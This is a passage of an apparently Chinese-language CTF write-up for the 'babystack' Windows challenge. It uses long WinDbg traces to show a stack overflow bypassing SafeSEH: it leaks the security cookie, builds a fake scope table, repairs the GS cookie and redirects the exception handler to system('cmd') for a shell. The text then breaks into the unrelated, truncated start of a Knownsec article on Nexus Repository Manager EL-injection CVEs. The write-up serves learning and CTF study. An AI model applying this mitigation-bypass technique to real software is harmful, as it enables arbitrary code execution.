7708f840 0f845bae0500 je ntdll!RtlIsValidHandler+0x82 (770ea6a1) [br=0]
当然这里是存在 safeseh table 的，最后要在里面寻找 handler，看看当前 seh handler 是否是 safeseh 表中的
handler。
0:000> p//ebx的值是我们覆盖seh handler指向system('cmd')的地址，在进程空间里
eax=000a3390 ebx=000a138d ecx=7708f93c edx=7714ec30 esi=00000001 edi=00000000
eip=7708f85a esp=0028f4ac ebp=0028f4e8 iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000213
ntdll!RtlIsValidHandler+0x46:
7708f85a 2b5df0 sub ebx,dword ptr [ebp-10h] ss:0023:0028f4d8={babystack (000a0000)}//这里用seh handler地址减去进程基址
……
0:000> p
eax=000a3390 ebx=0000138d ecx=00000000 edx=00000000 esi=00000001 edi=00000000
eip=7708f86c esp=0028f4ac ebp=0028f4e8 iopl=0 nv up ei pl zr na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000247
ntdll!RtlIsValidHandler+0x54:
7708f86c 8b3c88 mov edi,dword ptr [eax+ecx*4] ds:0023:000a3390=00001460//从safeseh handler table中获取可信的seh handler
0:000> p
eax=000a3390 ebx=0000138d ecx=00000000 edx=00000000 esi=00000001 edi=00001460
eip=7708f86f esp=0028f4ac ebp=0028f4e8 iopl=0 nv up ei pl zr na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000247
ntdll!RtlIsValidHandler+0x57:
7708f86f 3bdf cmp ebx,edi//用可信seh handler和当前seh handler作比较
0:000> p
eax=000a3390 ebx=0000138d ecx=00000000 edx=00000000 esi=00000001 edi=00001460
eip=7708f871 esp=0028f4ac ebp=0028f4e8 iopl=0 nv up ei ng nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000287
ntdll!RtlIsValidHandler+0x59://显然不相等，跳转
7708f871 0f8274030000 jb ntdll!RtlIsValidHandler+0x5b (7708fbeb) [br=1]
这里用当前 system('cmd') 地址的 seh handler 和 safeseh table 中可信的 handler
作比较，显然由于我们的覆盖，不相等，则 safeseh check 没通过，返回0。
0:000> p
eax=64fd5e00 ebx=0028faa0 ecx=64d5aa92 edx=00000000 esi=0028f580 edi=00000000
eip=7708f88d esp=0028f4ec ebp=0028f568 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!RtlIsValidHandler+0xfc:
7708f88d c20800 ret 8
0:000> p
eax=64fd5e00 ebx=0028faa0 ecx=64d5aa92 edx=00000000 esi=0028f580 edi=00000000
eip=7708f9fe esp=0028f4f8 ebp=0028f568 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!RtlDispatchException+0x10e:
7708f9fe 84c0 test al,al
0:000> r al
al=0
在 babyshellcode 中，我们用了 nosafeseh 的 dll 突破了 safeseh，在 babystack 中我们没有 nosafeseh
的地址空间，也没有可用的堆空间（有也用不了），因此我们不能用 seh handler了，而我们可控的空间就是栈空间，我们有 scope
table，经过我们之前的分析，可以通过 scope table 实现对 eip 的控制。
因此，我们目前需要在栈泄露并 fix 的栈结构是 seh 的 prev 域和 handler 域。
之前我们分析 `except_handler4_comm` 函数时，发现处理到最后会跳转到 scope table 表中的 Handler func
指针指向的位置，因此我们利用 `except_handler4` 的机制就可以使用 scope table 中的 handler func 来控制
eip，而不使用 seh handler，也就是说将 seh chain 的 prev 域和 handler
域的值覆盖成和原来一样的（因为这两个值都可以泄露出来，之前提过），唯独控制 scope table 中的 struc，从而相当于绕过了 safe seh 的
RtlIsValidHandler 的 check。
0:000> p
eax=01101460 ebx=0012ff08 ecx=0012f91c edx=770b6c74 esi=0012f9c0 edi=00000000
eip=7708f9f6 esp=0012f934 ebp=0012f9a8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
ntdll!RtlDispatchException+0x106:
7708f9f6 ff7304 push dword ptr [ebx+4] ds:0023:0012ff0c=01101460
0:000> p
eax=01101460 ebx=0012ff08 ecx=0012f91c edx=770b6c74 esi=0012f9c0 edi=00000000
eip=7708f9f9 esp=0012f930 ebp=0012f9a8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
ntdll!RtlDispatchException+0x109:
7708f9f9 e815feffff call ntdll!RtlIsValidHandler (7708f813)
0:000> p
eax=01103301 ebx=0012ff08 ecx=711cbddc edx=00000000 esi=0012f9c0 edi=00000000
eip=7708f9fe esp=0012f938 ebp=0012f9a8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!RtlDispatchException+0x10e:
7708f9fe 84c0 test al,al
0:000> r al
al=1
下面我们来看一下 scope table 该如何控制。
首先看我们之前的分析，在 scope table 位置存放的是 struc 和 security cookie 异或的结果，我们就叫它 encode
scope table，接下来我们跟入 `VCRUNTIME140!_except_handler4_common` 函数，首先会对 scope table
进行解密，也就是和 security cookie 进行异或运算。
0:000> p//获得当前encode scope table
eax=00000000 ebx=00000000 ecx=01274004 edx=770b6d8d esi=0027fc0c edi=00000000
eip=606eb30a esp=0027f58c ebp=0027f5b4 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
VCRUNTIME140!_except_handler4_common+0x1a:
606eb30a 8b7e08 mov edi,dword ptr [esi+8] ds:0023:0027fc14=b24ab809
0:000> p
eax=00000000 ebx=00000000 ecx=01274004 edx=770b6d8d esi=0027fc0c edi=b24ab809
eip=606eb30d esp=0027f58c ebp=0027f5b4 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
VCRUNTIME140!_except_handler4_common+0x1d:
606eb30d 8d4610 lea eax,[esi+10h]
0:000> p//ecx的值是base address+0x4004，也就是security cookie的存放位置，edi是encode scope table，异或运算
eax=0027fc1c ebx=00000000 ecx=01274004 edx=770b6d8d esi=0027fc0c edi=b24ab809
eip=606eb310 esp=0027f58c ebp=0027f5b4 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
VCRUNTIME140!_except_handler4_common+0x20:
606eb310 3339 xor edi,dword ptr [ecx] ds:0023:01274004=b36d8e81
0:000> p
eax=0027fc1c ebx=00000000 ecx=01274004 edx=770b6d8d esi=0027fc0c edi=01273688//edi的值变成scope table的指针
eip=606eb312 esp=0027f58c ebp=0027f5b4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
VCRUNTIME140!_except_handler4_common+0x22:
606eb312 50 push eax
注意 ecx 的值，指向的是当前进程地址 `+0x4004`，这个位置之前已经分析过存放的是全局变量 security
cookie，这个值我们可以能通过任意地址读获取到，而栈里对应 encode scope table 的值我们也能通过任意地址读获取到，因此我们就可以获取到
struc 的值，而这个 struc 的值，是我们可以决定的，如果我们用任意地址 xor security cookie 的值，这个 decode
之后的指针就能指向我们构造的地址了。
随后会检查 Try level 的值。
0:000> p//获取try level的值
eax=0027f598 ebx=0027f6dc ecx=b36d8e81 edx=770b6d8d esi=0027fc0c edi=01273688
eip=606eb344 esp=0027f58c ebp=0027f5b4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
VCRUNTIME140!_except_handler4_common+0x54:
606eb344 8b5e0c mov ebx,dword ptr [esi+0Ch] ds:0023:0027fc18=00000000//esi的值需要注意
0:000> p
eax=0027f598 ebx=00000000 ecx=b36d8e81 edx=770b6d8d esi=0027fc0c edi=01273688
eip=606eb347 esp=0027f58c ebp=0027f5b4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
VCRUNTIME140!_except_handler4_common+0x57:
606eb347 8946fc mov dword ptr [esi-4],eax ds:0023:0027fc08=5be7a4e3
0:000> p//将try leve的值和-2做比较，这里try level值为0
eax=0027f598 ebx=00000000 ecx=b36d8e81 edx=770b6d8d esi=0027fc0c edi=01273688
eip=606eb34a esp=0027f58c ebp=0027f5b4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
VCRUNTIME140!_except_handler4_common+0x5a:
606eb34a 83fbfe cmp ebx,0FFFFFFFEh
Try level 的值为0，这里会和-2作比较，如果 Try level 的值为-2的情况下会表示没有进入任何该函数的 try
模块中，程序会返回，这里由于程序一开始就将值赋值为0，因此这里会进入后续处理。
这里我们需要注意一下 esi 的值，这里 Try level 的值是由 esi+0C 赋值而来，来看下 esi 的值是啥。
0:000> dd 0027fc0c
0027fc0c 0027fc54 01271460 b24ab809 00000000
0027fc1c 0027fc64 0127167a 00000001 003d7b60
0027fc2c 003d7bb8 b34a72e5 00000000 00000000
0027fc3c 7ffdb000 0027fc00 00000000 00000000
0027fc4c 0027fc30 0000031b 0027fca0 01271460
0027fc5c b24ab829 00000000 0027fc70 76b2ef8c
0027fc6c 7ffdb000 0027fcb0 770d367a 7ffdb000
0027fc7c 637cd233 00000000 00000000 7ffdb000
0:000> !exchain
0027f5ec: ntdll!ExecuteHandler2+3a (770b6d8d)
0027fc0c: babystack+1460 (01271460)
0027fc54: babystack+1460 (01271460)
可以看到，esi 的值就在 seh chain 中，接下来我们继续跟踪 `VCRUNTIME140!_except_handler4_common` 函数。
0:000> p
eax=0027f598 ebx=00000000 ecx=b36d8e81 edx=770b6d8d esi=0027fc0c edi=01273688
eip=606eb353 esp=0027f58c ebp=0027f5b4 iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000213
VCRUNTIME140!_except_handler4_common+0x63:
606eb353 8d4302 lea eax,[ebx+2]
0:000> p
eax=00000002 ebx=00000000 ecx=b36d8e81 edx=770b6d8d esi=0027fc0c edi=01273688
eip=606eb356 esp=0027f58c ebp=0027f5b4 iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000213
VCRUNTIME140!_except_handler4_common+0x66:
606eb356 8d0443 lea eax,[ebx+eax*2]
0:000> p//edi存放的是scope table，这里会计算handler function的位置
eax=00000004 ebx=00000000 ecx=b36d8e81 edx=770b6d8d esi=0027fc0c edi=01273688
eip=606eb359 esp=0027f58c ebp=0027f5b4 iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000213
VCRUNTIME140!_except_handler4_common+0x69:
606eb359 8b4c8704 mov ecx,dword ptr [edi+eax*4+4] ds:0023:0127369c=01271348
0:000> dd 01273688//edi的值指向scope table
01273688 ffffffe4 00000000 ffffff20 00000000
01273698 fffffffe 01271348 0127134e 00000000
012736a8 fffffffe 00000000 ffffffcc 00000000
012736b8 fffffffe 012716ad 012716c1 00000000
可以看到，最后通过 scope table 计算了 handler function
的指针的值，随后会在最后跳转时用到，那么这个地方就很有意思了，我们可以构造一个 scope table，也就是 fake struc，然后和泄露出来的
security cookie 做异或运算，然后把值通过栈溢出，覆盖到 seh chain 的 encode scope table 位置，这里要提一点是
fake struc 放在什么位置，以及放什么，这里我们选择的还是放在 stack
中存放变量的位置，因为放在这里不会影响到其他变量，当然可以放在栈的任何位置，只要覆盖之后不会影响到其他函数调用就可以，否则会造成不可预知的
crash，因此放在之前提到的函数内申请变量的位置是最稳的，当然这些值的相对偏移都固定，因此我们可以 leak 出来。
我们想到的栈布局如下。
首先我们通过 leak 的方法可以泄露出 security cookie，同时通过栈地址 +offset 的方法可以泄露出之前我们提到的 prev 域和
handler 域的值，这些值将在我们进行栈布局的时候用到。
exchain 中关于 prev 域和 handler 域的偏移，在栈里相对位置是固定的，所以每次程序开始给了栈地址后，我们可以直接通过栈地址和相对偏移算出
exchain 的位置，泄露出 prev 域和 handler 域的值，随后我们构造一个 fake struc，也就是 fake scope
table，根据之前我们提到关于 struc 的定义，我们可以在栈中布置这样一个值，然后将 scope table 的栈地址和 security
cookie 做异或运算，填充在 handler 之后就行了。
OK，现在我们完成了布置，这样的话可以通过 safeseh 的 check。
0:000> p
eax=01121460 ebx=0015fbd0 ecx=0015f61c edx=770b6c74 esi=0015f6c0 edi=00000000
eip=7708f9f9 esp=0015f630 ebp=0015f6a8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
ntdll!RtlDispatchException+0x109:
7708f9f9 e815feffff call ntdll!RtlIsValidHandler (7708f813)
0:000> p
eax=01123301 ebx=0015fbd0 ecx=62891c6f edx=00000000 esi=0015f6c0 edi=00000000
eip=7708f9fe esp=0015f638 ebp=0015f6a8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!RtlDispatchException+0x10e:
7708f9fe 84c0 test al,al
0:000> r al
al=1
接下来进入 `VCRUNTIME140!_except_handler4_common` 函数中，其实通过上面的图可以看到，在 fake struc
中，我们其他值固定，只是把 handler function 的值修改成了 system('cmd') 的地址，这样根据我们上面对
`_except_handler4_common` 函数的分析，应该最后会跳转到 handler function，也就是
system（'cmd'）。首先跟入函数。
0:000> p
eax=00000000 ebx=00000000 ecx=01124004 edx=770b6d8d esi=0015fbd0 edi=00000000
eip=6375b30a esp=0015f58c ebp=0015f5b4 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
VCRUNTIME140!_except_handler4_common+0x1a://获取encode scope table
6375b30a 8b7e08 mov edi,dword ptr [esi+8] ds:0023:0015fbd8=764a4109
0:000> p
eax=00000000 ebx=00000000 ecx=01124004 edx=770b6d8d esi=0015fbd0 edi=764a4109
eip=6375b30d esp=0015f58c ebp=0015f5b4 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
VCRUNTIME140!_except_handler4_common+0x1d:
6375b30d 8d4610 lea eax,[esi+10h]
0:000> p
eax=0015fbe0 ebx=00000000 ecx=01124004 edx=770b6d8d esi=0015fbd0 edi=764a4109
eip=6375b310 esp=0015f58c ebp=0015f5b4 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
VCRUNTIME140!_except_handler4_common+0x20://和security cookie做异或
6375b310 3339 xor edi,dword ptr [ecx] ds:0023:01124004=765fba5d
0:000> p
eax=0015fbe0 ebx=00000000 ecx=01124004 edx=770b6d8d esi=0015fbd0 edi=0015fb54//edi指向fake scope table
eip=6375b312 esp=0015f58c ebp=0015f5b4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
VCRUNTIME140!_except_handler4_common+0x22:
6375b312 50 push eax
0:000> dd 15fb54
0015fb54 ffffffe4 00000000 ffffff20 00000000
0015fb64 fffffffe 01121348 0112138d//fake scope table中handler func指向system('cmd')
这里我们已经可以令 decode scope table 指向我们的 fake scope table，里面存放的 handler func 指向
system('cmd') 地址，根据我们刚才对此函数的分析，接下来应该获取 fake handler func 的值，然后跳转到
system('cmd')，获取 shell，打完收工，皆大欢喜。但是最后程序却 crash 掉了。为什么呢？
我们进行了分析发现栈中还有地方需要做 fix！我们发现在 `VCRUNTIME140!ValidateLocalCookies` 函数中，SEH
处理崩溃了。
0:000> p
eax=0015fbe0 ebx=00000000 ecx=01124004 edx=770b6d8d esi=0015fbd0 edi=0015fb54
eip=6375b31a esp=0015f580 ebp=0015f5b4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
VCRUNTIME140!_except_handler4_common+0x2a:
6375b31a 897df8 mov dword ptr [ebp-8],edi ss:0023:0015f5ac=56125318
0:000> p
eax=0015fbe0 ebx=00000000 ecx=01124004 edx=770b6d8d esi=0015fbd0 edi=0015fb54
eip=6375b31d esp=0015f580 ebp=0015f5b4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
VCRUNTIME140!_except_handler4_common+0x2d:
6375b31d e87effffff call VCRUNTIME140!ValidateLocalCookies (6375b2a0)
0:000> p
STATUS_STACK_BUFFER_OVERRUN encountered
WARNING: This break is not a step/trace completion.
The last command has been cleared to prevent
accidental continuation of this unrelated event.
Check the event, location and thread before resuming.
(19f970.19fdf4): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=01123130 ecx=76b5e4b4 edx=0015ef65 esi=00000000 edi=0015fb54
eip=76b5e331 esp=0015f1ac ebp=0015f228 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
kernel32!UnhandledExceptionFilter+0x5f:
76b5e331 cc int 3
接下来我们跟入 `VCRUNTIME140!ValidateLocalCookies`，看看问题出在哪里。
0:000> p//这里会将0024f748的值和esi做异或
eax=ffffffe4 ebx=0024f764 ecx=00e21490 edx=770b6d8d esi=0024f764 edi=0024f6d8
eip=5bf0b2bb esp=0024f0ec ebp=0024f0f8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
VCRUNTIME140!ValidateLocalCookies+0x1b:
5bf0b2bb 333418 xor esi,dword ptr [eax+ebx] ds:0023:0024f748=61616161
0:000> p//随后将结果交给ecx
eax=ffffffe4 ebx=0024f764 ecx=00e21490 edx=770b6d8d esi=61459605 edi=0024f6d8
eip=5bf0b2c4 esp=0024f0ec ebp=0024f0f8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
VCRUNTIME140!ValidateLocalCookies+0x24:
5bf0b2c4 8bce mov ecx,esi
0:000> p
eax=ffffffe4 ebx=0024f764 ecx=61459605 edx=770b6d8d esi=61459605 edi=0024f6d8
eip=5bf0b2c6 esp=0024f0ec ebp=0024f0f8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
VCRUNTIME140!ValidateLocalCookies+0x26:
5bf0b2c6 ff5508 call dword ptr [ebp+8] ss:0023:0024f100=00e21490
0:000> t//进入函数处理会将异或结果和security cookie做比较
eax=ffffffe4 ebx=0024f764 ecx=61459605 edx=770b6d8d esi=61459605 edi=0024f6d8
eip=00e21490 esp=0024f0e8 ebp=0024f0f8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
babystack+0x1490:
00e21490 3b0d0440e200 cmp ecx,dword ptr [babystack+0x4004 (00e24004)] ds:0023:00e24004=be69501d
0:000> p//不相等则会跳转
eax=ffffffe4 ebx=0024f764 ecx=61459605 edx=770b6d8d esi=61459605 edi=0024f6d8
eip=00e21496 esp=0024f0e8 ebp=0024f0f8 iopl=0 ov up ei ng nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000a97
babystack+0x1496:
00e21496 f27502 repne jne babystack+0x149b (00e2149b) [br=1]
0:000> p
eax=ffffffe4 ebx=0024f764 ecx=61459605 edx=770b6d8d esi=61459605 edi=0024f6d8
eip=00e2149b esp=0024f0e8 ebp=0024f0f8 iopl=0 ov up ei ng nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000a97
babystack+0x149b:
00e2149b f2e981020000 repne jmp babystack+0x1722 (00e21722)
在 ValidateLocalCookies 中令 `24f748` 的位置的值和 `0x24f764` 做了异或运算，随后和 security
cookie 做比较，相等则会继续执行后面的内容，这里不相等，那后续 SEH 异常处理不会进行，跳转进入
SetUnhandledExceptionFilter，进入系统默认的异常处理。调用关系是
`sub_401722->sub_4016FA->SetUnhandledExceptionFilter` 。我们来看一下这个值是什么。
.text:004010B3 push 0FFFFFFFEh//TryLevel入栈
.text:004010B5 push offset stru_403688//stru（scope table）入栈
.text:004010BA push offset sub_401460//seh handler入栈
.text:004010BF mov eax, large fs:0
.text:004010C5 push eax//next pointer to seh chain 入栈
.text:004010C6 add esp, 0FFFFFF40h
.text:004010CC mov eax, ___security_cookie
.text:004010D1 xor [ebp+ms_exc.registration.ScopeTable], eax
.text:004010D4 xor eax, ebp//security cookie和ebp做异或运算，形成一个cookie
.text:004010D6 mov [ebp+var_1C], eax//存放入栈中，这个值会在ValidateLocalCookies用来check 栈cookie
0:000> p
eax=b33cb7a2 ebx=7ffd8000 ecx=002ff700 edx=00000000 esi=5bf16314 edi=004d7b60
eip=00c410d6 esp=002ff6a0 ebp=002ff770 iopl=0 nv up ei ng nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000282
babystack+0x10d6:
00c410d6 8945e4 mov dword ptr [ebp-1Ch],eax ss:0023:002ff754=00c41580
0:000> !exchain
002ff760: babystack+1460 (00c41460)
002ff7a8: babystack+1460 (00c41460)
002ff7f4: ntdll!_except_handler4+0 (7708e195)
CRT scope 0, filter: ntdll!__RtlUserThreadStart+2e (770e790b)
func: ntdll!__RtlUserThreadStart+63 (770e7c80)
Invalid exception stack at ffffffff
0:000> dd 002ff750 l4
002ff750 002ff774 b33cb7a2 002ff690 5be7a4e3//eax=0xb33cb7a2
接下来我一边调试，一边将 `VCRUNTIME140!ValidateLocalCookies` 的伪代码还原成C，其实这个函数主要就是对这个存放栈
Cookie 的位置做检查，其中 stru 结构体就是 scope table，对应的结构体变量请参照文章前面的 stru 的结构。
int __cdecl ValidateLocalCookies(void (__thiscall *a1)(int), int a2, int a3)//sub_1000B2A0
{
int v3; // esi@2
int v4; // esi@3
if ( *(_DWORD *)stru->GSCookieOffset != -2 )
{
v3 = *(_DWORD *)(FramePointer + stru->GSCookieOffset) ^ (FramePointer + stru->GSCookieXOROffset);//这里frame pointer的值就是在原Function中栈ebp的值
//00c410b1 8bec mov ebp,esp esp=002ff770
__guard_check_icall_fptr(a1);
babystack!sub_401490(v3);//v3 = security_cookie sub_401490就是check security cookie和GSCookie的值是否相等
/*.text:00401490 sub_401490 proc near ; CODE XREF: sub_401060+46p
.text:00401490 ; .text:004013C4p
.text:00401490 ; DATA XREF: ...
.text:00401490 cmp ecx, ___security_cookie
.text:00401496 repne jnz short loc_40149B
.text:00401499 repne retn
.text:0040149B loc_40149B: ; CODE XREF: sub_401490+6j
.text:0040149B repne jmp sub_401722
.text:0040149B sub_401490 endp*/
}
v4 = *(_DWORD *)(FramePointer + stru->EHCookieOffset) ^ (FramePointer + stru->EHCookieXOROffset);
__guard_check_icall_fptr(a1);
return ((int (__thiscall *)(int))babystack!sub_401490)(v4);
}
可以看到，这个位置存放的是 GSCookie 和 ebp 的一个异或结果，实际上这个值在这里就是为了防止栈溢出绕过 GSCookie 的检查，而这个位置在
prev 域 -0xC 的位置，因此这个值需要泄露出来，接下来我们对 exp 做修改，主要是将 stack
上刚才分析的这个Cookie值泄露出后在栈溢出时对栈做fix，之后继续调试。
////////////通过VCRUNTIME140!ValidateLocalCookies
0:000> t
eax=ffffffe4 ebx=001dfde0 ecx=70244f1d edx=770b6d8d esi=70244f1d edi=001dfd54
eip=003a1490 esp=001df768 ebp=001df778 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
babystack+0x1490:
003a1490 3b0d04403a00 cmp ecx,dword ptr [babystack+0x4004 (003a4004)] ds:0023:003a4004=70244f1d
0:000> p
eax=ffffffe4 ebx=001dfde0 ecx=70244f1d edx=770b6d8d esi=70244f1d edi=001dfd54
eip=003a1496 esp=001df768 ebp=001df778 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
babystack+0x1496:
003a1496 f27502 repne jne babystack+0x149b (003a149b) [br=0]
0:000> p
eax=ffffffe4 ebx=001dfde0 ecx=70244f1d edx=770b6d8d esi=70244f1d edi=001dfd54
eip=003a1499 esp=001df768 ebp=001df778 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
babystack+0x1499:
003a1499 f2c3 repne ret
0:000> p
eax=ffffffe4 ebx=001dfde0 ecx=70244f1d edx=770b6d8d esi=70244f1d edi=001dfd54
eip=6c38b2c9 esp=001df76c ebp=001df778 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
VCRUNTIME140!ValidateLocalCookies+0x29:
6c38b2c9 8b4708 mov eax,dword ptr [edi+8] ds:0023:001dfd5c=ffffff20
///////////跳转到Handler Function执行system('cmd')
0:000> t
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=003a138d edi=00000000
eip=003a138d esp=001df788 ebp=001dfde0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
babystack+0x138d:
003a138d 6868323a00 push offset babystack+0x3268 (003a3268)
0:000> p
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=003a138d edi=00000000
eip=003a1392 esp=001df784 ebp=001dfde0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
babystack+0x1392:
003a1392 ff1584303a00 call dword ptr [babystack+0x3084 (003a3084)] ds:0023:003a3084={ucrtbase!system (5bef89a0)}
在 Windows 7 下面完成攻击，获得 shell 交互。
因此，我们最后的利用过程是这样的，先构造如下的栈溢出的databuf结构。
（后面的利用过程中的源代码部分在文章中已经提到，这里就不再提了）然后输入任意非yes非no（严格匹配）的字符串，就可以输入我们的 databuf 了，这里
`sub_401000` 会由于字符串拷贝导致栈溢出，随后栈内被我们构造的 databuf
覆盖，随后我们输入yes，在else语句中，通过输入0，或者字符来触发异常。
0:001> g//输入0，触发异常
(1b03c4.1b03c0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=7ffdf000 ecx=70244f1d edx=00000009 esi=5bf16314 edi=004c3ec0
eip=003a1272 esp=001dfd00 ebp=001dfde0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
*** ERROR: Module load completed but symbols could not be loaded for C:\Users\sh1\Desktop\babystack.exe
babystack+0x1272:
003a1272 8b08 mov ecx,dword ptr [eax] ds:0023:00000000=????????
进入 SEH 后，利用 fake Scope Table 中的 fake handler function 在
`VCRUNTIME140!_except_handler4_common->VCRUNTIME140!_EH4_TransferToHandler`
中实现跳转控制eip。
0:000> p
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=0110138d edi=00000000
eip=651faf5c esp=0012f888 ebp=0012ff18 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
VCRUNTIME140!_EH4_TransferToHandler+0x17:
651faf5c ffe6 jmp esi {babystack+0x134e (0110138d)}
0:000> t
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=003a138d edi=00000000
eip=003a138d esp=001df788 ebp=001dfde0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
babystack+0x138d:
003a138d 6868323a00 push offset babystack+0x3268 (003a3268)
0:000> p
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=003a138d edi=00000000
eip=003a1392 esp=001df784 ebp=001dfde0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
babystack+0x1392:
003a1392 ff1584303a00 call dword ptr [babystack+0x3084 (003a3084)] ds:0023:003a3084={ucrtbase!system (5bef89a0)}
最后我们可以获得 shell，在 win10 下测试也通过了。
babyshellcode & babystack download url: <https://github.com/k0keoyo/ctf_pwn>
* * * | 社区文章 |
**Author：Longofo@ Knownsec 404 Team**
**Time: April 8, 2020**
**Chinese version:<https://paper.seebug.org/1166/>**
Nexus Repository Manager 3 recently exposed two El expression parsing
vulnerabilities, [cve-2020-10199](https://support.sonatype.com/hc/en-us/articles/360044882533) and
[cve-2020-10204](https://support.sonatype.com/hc/en-us/articles/360044356194-cve-2020-10204-nexus-repository-manager-3-remote-code-execution-2020-03-31), both of which are found by GitHub security Lab
team's @pwntester. I didn't track the vulnerability of nexus3 before, so diff
had a headache at that time. In addition, the nexus3 bug and security fix are
all mixed together, which makes it harder to guess the location of the
vulnerability. Later, I reappeared
[cve-2020-10204](https://support.sonatype.com/hc/en-us/articles/360044356194-cve-2020-10204-nexus-repository-manager-3-remote-code-execution-2020-03-31) with @r00t4dm,
[cve-2020-10204](https://support.sonatype.com/hc/en-us/articles/360044356194-CVE-2020-10204-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31) is a bypass of
[cve-2018-16621](https://support.sonatype.com/hc/en-us/articles/360010789153-CVE-2018-16621-Nexus-Repository-Manager-Java-Injection-October-17-2018). After that, others reappeared
[cve-2020-10199](https://support.sonatype.com/hc/en-us/articles/360044882533).
The root causes of these three vulnerabilities are the same. In fact, there
are more than these three. The official may have fixed several such
vulnerabilities. Since history is not easy to trace back, it is only a
possibility. Through the following analysis, we can see it. There is also the
